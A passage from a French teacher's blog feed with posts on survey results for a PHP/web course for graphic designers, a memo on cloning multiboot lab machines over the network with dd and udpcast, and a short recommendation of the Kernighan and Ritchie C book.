&lt;p&gt;Petit sondage qui me permettrait d&amp;rsquo;adapter le contenu de mon cours (que je ne donne plus cette année) afin qu&amp;rsquo;il soit plus en adéquation avec la réalité. Et réflexion permettant de recentrer mes attentes et celles des étudiants.&lt;/p&gt;
&lt;p&gt;Voici les résultats…&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai eu &lt;strong&gt;19 réponses&lt;/strong&gt; c&amp;rsquo;est à la fois rien et beaucoup.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Beaucoup&lt;/strong&gt; car je sais que ce blog est très peu lu. &lt;strong&gt;Rien&lt;/strong&gt; car les résultats ne sont pas représentatifs. De plus seuls mes connaissances travaillant dans l&amp;rsquo;informatique m&amp;rsquo;ont répondu, les infographistes, sauf un &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, se sont abstenus ;-)&lt;/p&gt;
&lt;p&gt;Certains de ceux qui m&amp;rsquo;ont répondu ont émis quelques réserves;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;« Je ne suis pas sûr d&amp;rsquo;avoir les compétences pour y répondre »&lt;/li&gt;
&lt;li&gt;« Je ne suis pas infographiste et ne connais pas bien leur métier »&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Domaine d'activité" src="/images/screenshot-1.png" title="Domaine d'activité, nov. 2011"&gt;&lt;/p&gt;
&lt;p&gt;Au sujet des divers concepts à traiter dans ce module &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;, j&amp;rsquo;avais volontairement été large dans mes propositions. Elles ont toutes été reprises et d&amp;rsquo;autres ont été ajoutées ! Il faudrait parler de (et ce ne serait pas possible):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Application client/serveur&lt;/li&gt;
&lt;li&gt;Bases de données&lt;/li&gt;
&lt;li&gt;Algorithmique élémentaire (et approfondie)&lt;/li&gt;
&lt;li&gt;Langage PHP (procédural et orienté objet),&lt;/li&gt;
&lt;li&gt;Javascript&lt;/li&gt;
&lt;li&gt;Ajax&lt;/li&gt;
&lt;li&gt;Framework PHP&lt;/li&gt;
&lt;li&gt;Installation et habillage de CMS&lt;/li&gt;
&lt;li&gt;Auxquels s&amp;rsquo;ajoutent; ergonomie, accessibilité, sécurité, &lt;em&gt;design pattern&lt;/em&gt; MVC, templates, &lt;em&gt;cloud&lt;/em&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;rsquo;est clair, il va falloir faire un choix. Actuellement, ce sont tous ces concepts que j&amp;rsquo;essayais d&amp;rsquo;aborder et c&amp;rsquo;était clairement trop pour la plupart des étudiants.&lt;/p&gt;
&lt;p&gt;Je demandais si des connaissances &lt;em&gt;linux&lt;/em&gt; pouvaient être utiles; j&amp;rsquo;obtiens quand même 2/3 de &lt;strong&gt;oui&lt;/strong&gt;. Ce qui me surprend car c&amp;rsquo;est clairement ce que je compte laisser tomber. Je ne compte même plus demander de se connecter en &lt;em&gt;ssh&lt;/em&gt; pour avoir une console mySQL par exemple… que du GUI (&lt;a href="http://filezilla-project.org/"&gt;Filezilla&lt;/a&gt; et autres &lt;a href="https://blog.namok.be/www.phpmyadmin.net"&gt;PHPMyAdmin&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img alt="SSH - linux" src="/images/screenshot-2.png"&gt;&lt;/p&gt;
&lt;p&gt;Un vrai petit &lt;strong&gt;&lt;a href="http://www.freepacman.org/"&gt;pacman&lt;/a&gt;&lt;/strong&gt; comme graphique sur l&amp;rsquo;importance du respect des &lt;strong&gt;conventions d&amp;rsquo;écriture&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Pacman, conventions d'écriture" src="/images/screenshot-3.png"&gt;&lt;/p&gt;
&lt;p&gt;Au sujet des &lt;strong&gt;bases de données&lt;/strong&gt;. S&amp;rsquo;il est clair que l&amp;rsquo;on peut abandonner l&amp;rsquo;idée de créer ses tables dans une console mysql et qu&amp;rsquo;il faut mettre PHPMyAdmin à disposition. Il ressort que l&amp;rsquo;on ne peut pas se contenter d&amp;rsquo;une approche superficielle des SGBD mais qu&amp;rsquo;il faudrait parler de &lt;strong&gt;normalisation&lt;/strong&gt; et de &lt;strong&gt;requêtes avec jointures&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Un consensus se dégage au sujet du &lt;strong&gt;javascript&lt;/strong&gt;. Il ne faut absolument pas apprendre à programmer en javascript mais l&amp;rsquo;utilisation d&amp;rsquo;une librairie semble ressortir… et c&amp;rsquo;est &lt;a href="http://jquery.com/"&gt;jQuery&lt;/a&gt; qui gagne haut la main &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="jQuery" src="/images/screenshot-4.png"&gt;&lt;/p&gt;
&lt;p&gt;Ma dernière question portait sur les CMS (&lt;a href="http://wordpress.com/"&gt;Wordpress&lt;/a&gt;, &lt;a href="http://dotclear.org/"&gt;Dotclear&lt;/a&gt;, ou autres). Je demandais s&amp;rsquo;il fallait se contenter de l&amp;rsquo;habillage (édition des feuilles de style) ou bien fallait-il également pouvoir l&amp;rsquo;installer, y configurer/ajouter des &lt;em&gt;plugins&lt;/em&gt; ? À nouveau, c&amp;rsquo;est l&amp;rsquo;&lt;strong&gt;infographiste polyvalent&lt;/strong&gt; que l&amp;rsquo;on cherche !&lt;/p&gt;
&lt;p&gt;&lt;img alt="CMS, install config et css" src="/images/screenshot-5.png"&gt;&lt;/p&gt;
&lt;p&gt;Je peux conclure en quelques points (jetés un peu en vrac):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ce que je proposais n&amp;rsquo;est pas très différent des attentes de mes 19 volontaires&lt;/li&gt;
&lt;li&gt;Ce programme est trop chargé pour un module de 160 périodes&lt;/li&gt;
&lt;li&gt;Par expérience, le public actuel de l&amp;rsquo;&lt;a href="http://epse.be/"&gt;ÉPSE&lt;/a&gt; n&amp;rsquo;est pas disposé à assumer ce contenu&lt;/li&gt;
&lt;li&gt;À qui se destine un tel contenu ? Un informaticien orienté &lt;em&gt;web&lt;/em&gt; ou un infographiste ?&lt;/li&gt;
&lt;li&gt;Mes 19 volontaires, pourtant jeunes, ont-ils une bonne perception du travail de l&amp;rsquo;infographiste en 2011&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Le résumé (presque) complet fourni par &lt;a href="http://docs.google.com/"&gt;Google&lt;/a&gt; est disponible en &lt;a href="/pdf/FormationPHPenBACinfographie-public.pdf"&gt;PDF&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;À lire aussi&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="2011-09-01-Un-petit-sondage-pour-la-rentree.html"&gt;Un petit sondage pour la rentrée&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Merci à lui&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Il s&amp;rsquo;agit d&amp;rsquo;un module de 160 périodes&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;D&amp;rsquo;accord c&amp;rsquo;est celle que je propose. Mais, primo, je la propose car elle me semble la plus répandue depuis 2/3 ans et la case « Other » n&amp;rsquo;a pas été bcp cochée&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Installation des nouvelles machines dans le labo 504</title><link href="http://blog.namok.be/2011-10-17-Installation-des-nouvelles-machines-dans-le-labo-504.html" rel="alternate"/><published>2011-10-17T00:00:00+02:00</published><updated>2011-10-17T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-10-17:/2011-10-17-Installation-des-nouvelles-machines-dans-le-labo-504.html</id><summary type="html">Installation des nouvelles machines dans le labo 504</summary><content type="html">&lt;p&gt;Début septembre 2011 (ou plutôt fin août), nous recevions des nouvelles machines pour le &lt;em&gt;labo 504&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;&lt;a href="http://heb.be/esi"&gt;école&lt;/a&gt;, certains laboratoires sont dit &lt;strong&gt;stables&lt;/strong&gt; d&amp;rsquo;autres étiquetés &lt;strong&gt;instables&lt;/strong&gt;. En fait les laboratoires &lt;strong&gt;stables&lt;/strong&gt; sont ceux administrés par notre technicien, seul utilisateur ayant les droits d&amp;rsquo;administration. Ces laboratoires disposent de machines dont la configuration ne change jamais. Les laboratoires dits &lt;strong&gt;instables&lt;/strong&gt; sont des laboratoires permettant aux étudiants de faire des manipulations d&amp;rsquo;administration de machines (installation de services, configuration réseaux…). Sur ces machines les étudiants doivent avoir les privilèges du &lt;em&gt;root&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ces laboratoires ne sont donc &lt;strong&gt;pas instables&lt;/strong&gt; (du tout)… leur stabilité dépend seulement de l&amp;rsquo;aptitude des étudiants à réaliser les manips qu&amp;rsquo;on leur demande ;-)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Lorsque l&amp;rsquo;on reçoit des nouvelles machines dans un laboratoire instable, le travail des techniciens, s&amp;rsquo;arrête au dépôt desdites machines sur les tables… ensuite ce sont les profs qui prennent le relais. Voici la &lt;em&gt;petite histoire de l&amp;rsquo;installation des nouvelles machines au labo 504&lt;/em&gt;…&lt;/p&gt;
&lt;p&gt;(Ce post se veut être un petit aide-mémoire « pour la prochaine fois » ainsi qu&amp;rsquo;une petite explication pour les collègues qui travaillent avec moi dans le labo et pour les étudiants qui ont trouvé que l&amp;rsquo;installation avait pris pas mal de temps &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;)&lt;/p&gt;
&lt;h3&gt;Les contraintes&lt;/h3&gt;
&lt;p&gt;Comme nous sommes plusieurs à travailler dans le local &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; et que les cours que nous y donnons ne sont pas tous destinés à cohabiter facilement, il faut s&amp;rsquo;arranger afin que tout se passe au mieux.&lt;/p&gt;
&lt;p&gt;Certains collègues ont besoin d&amp;rsquo;un OS (au choix), d&amp;rsquo;autres ont besoin de linux et d&amp;rsquo;autres de MS Windows. Certains peuvent partager un OS avec d&amp;rsquo;autres, tandis que d&amp;rsquo;autres préfèrent attribuer un OS (entier, pas une machine virtuelle) à chaque étudiant…&lt;/p&gt;
&lt;p&gt;Sur cette base, il est décidé que l&amp;rsquo;on aura une machine &lt;em&gt;multiboot&lt;/em&gt; avec&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;une partition linux &lt;a href="http://debian.org/"&gt;debian&lt;/a&gt; (pour tous les utilisateurs «linux»)&lt;/li&gt;
&lt;li&gt;une partition MS Windows 7 (pour tous les utilisateur «MS Windows»)&lt;/li&gt;
&lt;li&gt;et 4 partitions MS Windows pour les étudiants de Pandélis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;À ces contraintes, s&amp;rsquo;ajoutent les contraintes de temps… qui va se charger de l&amp;rsquo;installation et quand faire cette installation ? Les examens se terminent, les cours reprennent… J&amp;rsquo;installerai les machines linux et Mohammed installe les machines MS Windows.&lt;/p&gt;
&lt;h3&gt;Essais / erreurs&lt;/h3&gt;
&lt;p&gt;Avec l&amp;rsquo;expérience, l&amp;rsquo;on sait que pour que ça fonctionne, il faut installer les machines MS Windows 7 avant les machines linux afin que le &lt;strong&gt;&lt;em&gt;boot loader&lt;/em&gt; linux&lt;/strong&gt; prenne en charge les deux OS.&lt;/p&gt;
&lt;p&gt;Mes premiers essais n&amp;rsquo;ont pas été concluants à ce niveau et j&amp;rsquo;ai du chercher une autre solution à base de &lt;em&gt;boot loader MS Windows&lt;/em&gt; :-( Les (ré)essais suivants ont été plus concluants et je suis revenu au système: « c&amp;rsquo;est GRUB qui gère le boot ».&lt;/p&gt;
&lt;p&gt;Deuxième problème rencontré; la &lt;strong&gt;table des partitions&lt;/strong&gt;. L&amp;rsquo;installateur MS Windows 7 écrit tantôt la table des partitions en &lt;em&gt;MBR table&lt;/em&gt; et tantôt en &lt;em&gt;GPT table&lt;/em&gt;… et mon installateur &lt;a href="http://debian.org/"&gt;debian&lt;/a&gt; (&lt;em&gt;fdisk&lt;/em&gt; en fait) ne reconnait pas les &lt;em&gt;GPT tables&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;La table de partitionnement du MBR, aujourd&amp;rsquo;hui très répandue, date du début des années 80. Dès la fin des années 90, les limitations qu&amp;rsquo;elle impose sont apparues trop contraignantes pour les matériels les plus modernes. Intel a alors développé un nouveau format de table de partitionnement, format qui fait partie de ce qui devint UEFI. La GPT étant un sous-ensemble des spécifications de UEFI.&lt;/p&gt;
&lt;p&gt;(&amp;hellip;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://fr.wikipedia.org/wiki/GUID_Partition_Table"&gt;Extrait de Wikipédia&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pout résoudre ce problème sur les machines ayant une table GPT, je devrais réécrire le MBR, refaire l&amp;rsquo;installation MS Windows 7 (en espérant qu&amp;rsquo;il reste en « MBR table ») et refaire l&amp;rsquo;installation linux &lt;a href="http://debian.org/"&gt;debian&lt;/a&gt;…&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ola ! Ça suffit ! Tout ça prend du temps.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je pensais que ça irait relativement vite d&amp;rsquo;installer ces 16 machines mais non… passons à la vitesse supérieure.&lt;/p&gt;
&lt;h3&gt;Installation finale&lt;/h3&gt;
&lt;p&gt;Nous allons y aller plus sérieusement et répliquer une machine à grands coups de &lt;a href="http://www.udpcast.linux.lu/"&gt;udpcast&lt;/a&gt;. Le principe est simple: j&amp;rsquo;installe une machine et je la réplique partout. La condition étant que les disques soient identiques. Ce qui est bien le cas.&lt;/p&gt;
&lt;h4&gt;Installation d&amp;rsquo;une machine&lt;/h4&gt;
&lt;p&gt;J&amp;rsquo;installe la machine 2 (&lt;code&gt;rochefort&lt;/code&gt;);&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;le partitionnement convenu;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sda1&lt;/code&gt; - 100MiB - MS Windows 7&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sda2&lt;/code&gt; - 97GIB - MS Windows 7&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sda3&lt;/code&gt; - 50 GiB - linux [debian| http://debian.org]&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sda4&lt;/code&gt; - le reste en partition étendue&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sda5&lt;/code&gt; - 1GiB - Swap linux&lt;/li&gt;
&lt;li&gt;(le reste pour Pandélis)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un p&amp;rsquo;tit MS Windows 7 avec les mises à jour qui vont bien &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; pour qu&amp;rsquo;il reconnaisse l&amp;rsquo;écran et l&amp;rsquo;installation des softs Cisco pour le cours de TLN,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;une &lt;em&gt;&lt;a href="http://debian.org/"&gt;debian&lt;/a&gt; squeeze&lt;/em&gt; avec passage au noyau 2.6.38 afin qu&amp;rsquo;elle reconnaisse la configuration graphique &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cette machine est en état, elle sera répliquée sur le réseau à l&amp;rsquo;aide d&amp;rsquo;&lt;a href="http://www.udpcast.linux.lu/"&gt;udpcast&lt;/a&gt;. Nous n&amp;rsquo;allons pas répliquer /dev/sda car 500GiB c&amp;rsquo;est long… et inutile de transferer « rien » (même &lt;a href="http://www.evene.fr/celebre/biographie/raymond-devos-2220.php?citations"&gt;si rien c&amp;rsquo;est quelque chose&lt;/a&gt;). Nous allons répliquer &lt;code&gt;sda1&lt;/code&gt;, &lt;code&gt;sda2&lt;/code&gt; et &lt;code&gt;sda3&lt;/code&gt;… et recopier le MBR.&lt;/p&gt;
&lt;p&gt;Si l&amp;rsquo;on veut répliquer &lt;code&gt;/dev/sda&lt;/code&gt;, c&amp;rsquo;est mieux que celui-ci ne soit pas monté, je dois donc &lt;em&gt;booter&lt;/em&gt; ailleurs que sur le disque.&lt;/p&gt;
&lt;h4&gt;Boot réseau&lt;/h4&gt;
&lt;p&gt;Les machines supportant le &lt;em&gt;boot réseau&lt;/em&gt;, c&amp;rsquo;est cette voie que nous allons explorer. Pour ce faire, il faut&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un bios PXE (supportant de booter sur le réseau)&lt;/li&gt;
&lt;li&gt;une machine offrant le service&lt;ul&gt;
&lt;li&gt;serveur DHCP pour donner une adresse IP au client&lt;/li&gt;
&lt;li&gt;serveur TFTP (&lt;a href="http://fr.wikipedia.org/wiki/Trivial_File_Transfer_Protocol"&gt;Wikipedia&lt;/a&gt;) pour donner l&amp;rsquo;OS. Dans notre cas envoyer un noyau linux&lt;/li&gt;
&lt;li&gt;serveur NFS (&lt;a href="http://fr.wikipedia.org/wiki/Network_File_System"&gt;Wikipedia&lt;/a&gt;) pour donner un disque réseau à mon linux&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Puisqu&amp;rsquo;il faut faire transférer en UDP &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt;, de l&amp;rsquo;ordre de, 150GiB, c&amp;rsquo;est mieux d&amp;rsquo;avoir un bon &lt;em&gt;switch&lt;/em&gt; &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h4&gt;Réplication&lt;/h4&gt;
&lt;p&gt;La réplication proprement dite consiste en&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;booter&lt;/em&gt; la machine source (&lt;em&gt;rochefort&lt;/em&gt;) sur le réseau et lui demander d&amp;rsquo;offrir le disque dur (en pratique les 3 partitions principales et une recopie du MBR)&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sda&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/root/mbr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
upd-sender&lt;span class="w"&gt; &lt;/span&gt;--file&lt;span class="w"&gt; &lt;/span&gt;/dev/sda1&lt;span class="w"&gt; &lt;/span&gt;--fec&lt;span class="w"&gt; &lt;/span&gt;8x8&lt;span class="w"&gt; &lt;/span&gt;--full-duplex&lt;span class="w"&gt;  &lt;/span&gt;
upd-sender&lt;span class="w"&gt; &lt;/span&gt;--file&lt;span class="w"&gt; &lt;/span&gt;/dev/sda2&lt;span class="w"&gt; &lt;/span&gt;--fec&lt;span class="w"&gt; &lt;/span&gt;8x8&lt;span class="w"&gt; &lt;/span&gt;--full-duplex&lt;span class="w"&gt;  &lt;/span&gt;
upd-sender&lt;span class="w"&gt; &lt;/span&gt;--file&lt;span class="w"&gt; &lt;/span&gt;/dev/sda3&lt;span class="w"&gt; &lt;/span&gt;--fec&lt;span class="w"&gt; &lt;/span&gt;8x8&lt;span class="w"&gt; &lt;/span&gt;--full-duplex&lt;span class="w"&gt;  &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;booter&lt;/em&gt; les machines cibles sur le réseau et leur demander de; mettre à jour le MBR et de recevoir les différentes partitions&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/root/mbr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sda&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
sfdisk&lt;span class="w"&gt; &lt;/span&gt;-R&lt;span class="w"&gt; &lt;/span&gt;/dev/sda
udp-receiver&lt;span class="w"&gt; &lt;/span&gt;--file&lt;span class="w"&gt; &lt;/span&gt;/dev/sda1
udp-receiver&lt;span class="w"&gt; &lt;/span&gt;--file&lt;span class="w"&gt; &lt;/span&gt;/dev/sda2
udp-receiver&lt;span class="w"&gt; &lt;/span&gt;--file&lt;span class="w"&gt; &lt;/span&gt;/dev/sda3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Tout ça dans un script lancé au boot (par un petit ajout dans &lt;code&gt;/etc/inittab&lt;/code&gt; par exemple)&lt;/p&gt;
&lt;p&gt;Quelques ~~bières~~ temps plus tard, c&amp;rsquo;est plié. Il reste à repasser sur toutes les machines pour leur donner leur nom et leur IP. &lt;/p&gt;
&lt;p&gt;La prochaine étape sera (probablement peut-être) l&amp;rsquo;installation d&amp;rsquo;un serveur DHCP dans le local.&lt;/p&gt;
&lt;h3&gt;Maintenance du local&lt;/h3&gt;
&lt;p&gt;Pour la maintenance du local, il me reste à faire une image du disque tant qu&amp;rsquo;il est propre. Je vais tenter un&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sdai&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/elsewhere/cpsdai&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;?&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;?
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;… et une réinstallation d&amp;rsquo;une machine sera assez rapide…&lt;/p&gt;
&lt;p&gt;Et là, je suis normalement tranquille pour 5 ans au vu du &lt;em&gt;turn over&lt;/em&gt; du matériel.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;N&amp;rsquo;est-ce pas mon bon Benjamin ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;&lt;a href="http://heb.be/esi/programmes/stc3r3_fr.html"&gt;STC&lt;/a&gt; Services Télécom , &lt;a href="http://heb.be/esi/programmes/sys3i_fr.html"&gt;SER&lt;/a&gt; Système d&amp;rsquo;exploitation temps réel, &lt;a href="http://heb.be/esi/programmes/aiw3r_fr.html"&gt;ICR&lt;/a&gt; Interconnexion des réseaux, &lt;a href="http://heb.be/esi/programmes/tln2r_fr.html"&gt;TLN&lt;/a&gt; Solutions LAN - Windows,…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Faire &lt;strong&gt;d&amp;rsquo;abord&lt;/strong&gt; les màj Windows sans le graphisme et &lt;strong&gt;ensuite&lt;/strong&gt; les màj « graphiques ». Merci Paul&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;(Re)Merci Paul pour l&amp;rsquo;info&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;C&amp;rsquo;est l&amp;rsquo;avantage du système c&amp;rsquo;est que le serveur n&amp;rsquo;envoie qu&amp;rsquo;une seule fois l&amp;rsquo;info pour toutes les machines&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Merci &lt;a href="http://toine.be/"&gt;Antoine&lt;/a&gt; pour le fameux coup de main que tu m&amp;rsquo;as donné… et le prêt du switch 1Gb&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Quel bouquin acheter pour le C ... le KR évidement</title><link href="http://blog.namok.be/2011-10-16-bouquin-C.html" rel="alternate"/><published>2011-10-16T00:00:00+02:00</published><updated>2011-10-16T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2011-10-16:/2011-10-16-bouquin-C.html</id><summary type="html">Quel bouquin acheter pour le C ... le KR évidement</summary><content type="html">&lt;p&gt;&lt;img alt="KenThompson-DennisRitchie.jpg" src="/images/KenThompson-DennisRitchie.jpg" title="KenThompson-DennisRitchie.jpg, sept. 2014" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="C-KernighamRitchie" class="right" src="/images/book-c-kr.jpg" title="C-KernighamRitchie, oct. 2011" width="300px"&gt;&lt;/p&gt;
&lt;p&gt;Il y a quelques années (&lt;em&gt;far far away&lt;/em&gt;) lorsque l&amp;rsquo;on faisait des études d&amp;rsquo;informatiques (math option info c&amp;rsquo;était pareil), on apprenait le &lt;strong&gt;langage C&lt;/strong&gt;. Si l&amp;rsquo;on se posait la question de la référence à acheter, la réponse était immédiate:&lt;/p&gt;
&lt;p&gt;— «Achète le Kernighan et Ritchie»&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est d&amp;rsquo;ailleurs &lt;strong&gt;la&lt;/strong&gt; seule &lt;a href="http://www.amazon.fr/langage-C-Norme-ANSI/dp/2100487345"&gt;référence&lt;/a&gt; que je connais pour la norme ANSI du langage.&lt;/p&gt;
&lt;p&gt;Il y a quelques jours pendant mon cours de Java, je précisais que le langage Java évolue (la version 7 est sortie et &lt;a href="2011-07-11-jdk7.html"&gt;j&amp;rsquo;en parlais récemment&lt;/a&gt; et qu&amp;rsquo;il est utile de se mettre à jour.&lt;/p&gt;
&lt;p&gt;En C, par exemple, achetez le &lt;a href="http://www.amazon.fr/langage-C-Norme-ANSI/dp/2100487345"&gt;livre de Kirninghan et Ritchie&lt;/a&gt; est toujours une bonne idée même si la norme a évolué fin des années &amp;lsquo;90 &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Thomson et Ritchie from Wikipedia" class="right" src="/images/220px-Ken_n_dennis.jpg" title="Thomson et Ritchie from Wikipedia, oct. 2011"&gt; &lt;/p&gt;
